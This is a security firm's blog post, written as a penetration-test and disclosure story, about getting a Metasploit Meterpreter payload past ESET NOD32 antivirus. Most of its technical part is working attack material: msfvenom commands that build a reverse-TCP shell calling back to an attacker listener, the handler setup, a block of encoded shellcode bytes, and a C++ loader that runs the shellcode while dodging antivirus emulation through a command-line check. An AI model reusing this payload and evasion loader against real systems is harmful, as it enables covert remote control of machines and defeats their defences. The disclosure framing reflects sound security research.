How We Bypassed NOD32 and Hacked a Paranoid Customer

How We Bypassed NOD32 and Hacked a Paranoid Customer

During penetration testing for a big customer, we hacked a number of Microsoft Windows servers. At one point, part of our attack was thwarted by ESET’s NOD32 system. However, we were able to alter our attack to evade NOD32‘s radar, and in this post, we share the story of how we did it.

Brief Overview

One of the tools we use for penetration testing is Metasploit, combined with Meterpreter as a payload. It was precisely this payload that we wanted to use during penetration testing with this customer. However, the customer’s antivirus system, NOD32, stood in the way of this process. Such systems are not a deterrent to the motivated and adroit hacker – quite the opposite. We were able to devise a way to obfuscate Meterpreter such that NOD32 could not detect it.

The following section is a bit technical, but it’s certainly not rocket science.

First, we generated a binary. LHOST is the IP address of our Kali Linux system with a waiting listener.

# msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.123 LPORT=4444 -f exe >meterpreter.exe

After generating meterpreter.exe, we got set up on the console and proceeded as follows (once again, LHOST is the address of the Kali Linux system):

# msfconsole<br /># msf &gt; use exploit/multi/handler<br />msf exploit(handler) &gt; set payload windows/meterpreter/reverse_tcp<br />payload =&gt; windows/meterpreter/reverse_tcp<br />msf exploit(handler) &gt; set LHOST 192.168.1.123<br />msf exploit(handler) &gt; set LPORT 4444<br />msf exploit(handler) &gt; run<br />[*] Started reverse handler on 192.168.1.123:4444<br />[*] Starting the payload handler...

We copied the generated meterpreter.exe over to the customer system and started it up. In msfconsole on Kali Linux we saw the connection complete:

[*] Sending stage (770048 bytes) to 192.168.1.80<br />[*] Meterpreter session 1 opened (192.168.1.123:4444 -&gt; 192.168.1.80:1138) at 2014-10-22 19:03:43 -0500

Files Transmitted

First, we started up meterpreter.exe on the host. Once the connection completed, the metsrv.x86.dll library was sent over from a folder on the customer’s system.

opt/metasploit/apps/pro/vendor/bundle/ruby/2.1.0/gems/meterpreter_bins-0.0.14/meterpreter

We modified this DLL prior to sending it. On the host, it was not saved as a file; rather, meterpreter loaded it directly into memory. From the standpoint of bypassing NOD32, this bit didn’t really matter.

Preventing Detection

metsrv.x86.dll

Customizing this file was surprisingly simple. Since it’s open source, getting the source code online is trivial: https://github.com/rapid7/meterpreter

We opened the project in Visual Studio and ran a debug build (msbuild.exe or xbuild on Linux might have also worked). The file was created in the folder meterpreter\output\x86\Debug\.

Once the original file was overwritten, NOD32 stopped detecting it.

meterpreter.exe

NOD32 immediately caught the generated meterpreter.exe. We achieved concealment of the code on two levels.

First, we generated some encoded Meterpreter shellcode that we could embed into the C++ source. The selection of encoder and other parameters went via trial and error:

```msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.123 LPORT=4444 -e x86/shikata_ga_nai -b ‘\x00’ -i 3 -f c >mp.txt

<p>mp.txt then contained the following (for example):</p>

unsigned char code[] =
“\xbb\x2e\x27\x94\x3b\xdb\xde\xd9\x74\x24\xf4\x5f\x31\xc9\xb1”
“\x54\x31\x5f\x15\x03\x5f\x15\x83\xef\xfc\xe2\xdb\xfe\x7c\xe2”
“\x57\x25\x89\xaf\x88\x45\x5a\xda\xee\xb6\x55\x6b\x40\x88\x35”
“\x9b\xdf\x2a\xb1\xa0\x90\xd9\x73\x59\x98\xab\x50\xd2\x88\x1d”
“\x07\xce\x27\xa0\x8a\xb8\x71\x37\x69\x0a\xf4\x5d\x92\x54\x01”
“\x0b\x95\xd2\x6f\xac\xb3\xcd\xbe\xcd\xb8\x75\x34\xcd\x6e\x63”
“\x9e\xd1\xe7\x62\x72\x60\x15\x38\x48\xa8\x3e\x46\x0f\x4a\xdd”
“\xa7\x0e\xea\x4f\x81\x06\xd8\xa3\x10\x29\x2e\xc2\x3b\x3c\x31”
“\x44\xcd\x04\x48\xd7\xf9\x84\xdb\x3f\x5d\xc5\xf9\x72\xa0\x71”
“\xf4\x0d\x66\xca\x6d\x6b\x0f\x79\xee\xbd\x85\x8b\x4c\x1f\xbe”
“\x67\x28\x0d\x5a\x89\x78\x90\xf1\xe0\xc6\x2d\x64\x27\x04\xf1”
“\x63\xf8\xcb\x86\x26\x98\x8b\x83\x20\xec\x11\xeb\xdc\x2e\xdd”
“\x0d\x20\x17\x16\x4f\x9f\x3d\x3d\xed\x99\x0e\xe3\x6f\x45\x08”
“\x0c\x16\xb6\x90\xb4\x53\x67\x5f\x80\x88\xe1\x81\xe6\xe9\x61”
“\x57\x88\x7f\xa0\x6b\x20\xb9\x68\x4d\xd9\x1c\x6f\x21\xa5\x82”
“\xd0\x31\x9f\x8f\xbe\x95\xd3\x55\xc7\x32\x8e\x6e\xf6\x91\x80”
“\xbc\x16\x30\xfc\xf0\xad\x02\xcb\xb5\x93\x96\x39\xb6\x3e\x06”
“\x95\xb2\xde\x2e\x4d\xad\x6d\xc1\x57\x20\x01\x90\x56\x85\xf4”
“\x1f\x50\xc2\x83\x12\xe5\xa0\xa8\x90\x71\x8b\x3d\x2d\x6e\x56”
“\x0d\x07\x8e\xe2\xce\x99\x59\x5a\xfe\xef\xbf\x2f\x34\xf7\x42”
“\x7d\x16\x21\x77\x3b\x59\x17\xfe\x3b\x0b\x35\xa3\x75\x03\x2c”
“\x89\x8e\x24\x78\xc4\xc5\x75\xe8\xa4\xbd\xad\xce\x35\xc0\xdf”
“\x32\x64\x15\x88\xe0\x46\xc6\x6a\x31\x74\xb0\x41\x1c\x9d\xae”
“\xb0\x9a\xd9\x51\x05\x88\xe4\x3d\xbf\x45\x32\x60\xaa\x3d\x0a”
“\x67\xa3”;

<p>When we inserted the generated shellcode into the C++ code that launched it, NOD32 still detected it. We needed to pull off one more trick, and our resulting code used to launch the shellcode turned out like this:</p>

unsigned char shellcode[] = “\xbb\x2e\x27\x94\x3b\xdb\xde\xd9\x74\x24\xf4\x5f\x31\xc9\xb1” int APIENTRY tWinMain(_In HINSTANCE hInstance, In_opt HINSTANCE hPrevInstance, In LPTSTR lpCmdLine, In int nCmdShow) { int nArgs; const LPWSTR * argv; argv = CommandLineToArgvW(GetCommandLine(), &nArgs); if (nArgs > 0) { TCHAR buffer[MAX_PATH] = { 0 }; const TCHAR * fileName; if (GetModuleFileName(NULL, buffer, sizeof(buffer))) { fileName = PathFindFileName(buffer); (PathFindExtension(fileName)) = 0; if (wcsstr(argv[0], fileName) > 0) { int(func)() = (int(*)())&shellcode; while (true) { func(); } } } } } ```

The code that runs before launching the shellcode itself might be blocked by the antivirus’s emulator. This is true in the case of NOD32. The principle is described, for example, here: http://blog.deepsec.net/?p=1613

NOD32, however, had trouble emulating the reading of the command line, so emulation of the shellcode didn’t actually happen. Ultimately, it was still necessary to use an encoder to ensure that the shellcode wasn’t detected via simple pattern matching.

Informing ESET, and The Fix

We contacted ESET with this information. The ensuing conversation with the company was a pleasant one. They were happy with our professionalism and fixed the bug the very next day. We made an agreement with them as to how we would publicize the method we used to identify this vulnerability in the NOD system. We would like to extend our thanks to ESET for an excellent collaboration.

As part of responsible disclosure, when ethical hackers and security researchers stumble upon a vulnerability in a program or a system they will inform the creator(s), describe the problem and propose solutions (in contrast to unethical hackers abusing or selling the vulnerability information). Software developers’ and system operators’ reactions vary: it is not uncommon to encounter responses ranging from incomprehension to hostility. We have had such experiences in the past and have described them on our blog. Other companies welcome researchers, and even go as far as to set up “bug bounty” programs under which they can earn rewards for discovering vulnerabilities. How any given disclosure goes is often a shot in the dark, and how the report is received depends on both the company's stance and on the personality of the particular staff member.

Summing Up

We were quite pleased with this experience. Bypassing a high-quality antivirus system such as NOD was an interesting challenge, and of course we were glad to succeed. The quick, friendly and businesslike discussion with the folks from ESET was also pleasing. We extend our thanks to Peter Košinár and Peter Kováč, as well as to Daniel Kapča, who figured out the bypass itself.

Let’s make the world a more secure place together! :)

About the author

Citadelo
Citadelo
Citadelo is a firm of ethical hackers on your side. We think like hackers, but we don't abuse it. On the contrary, our main goal is to reveal vulnerabilities without causing damage. We have been conducting simulated attacks for our clients since 2006
Show more from author

Related blogs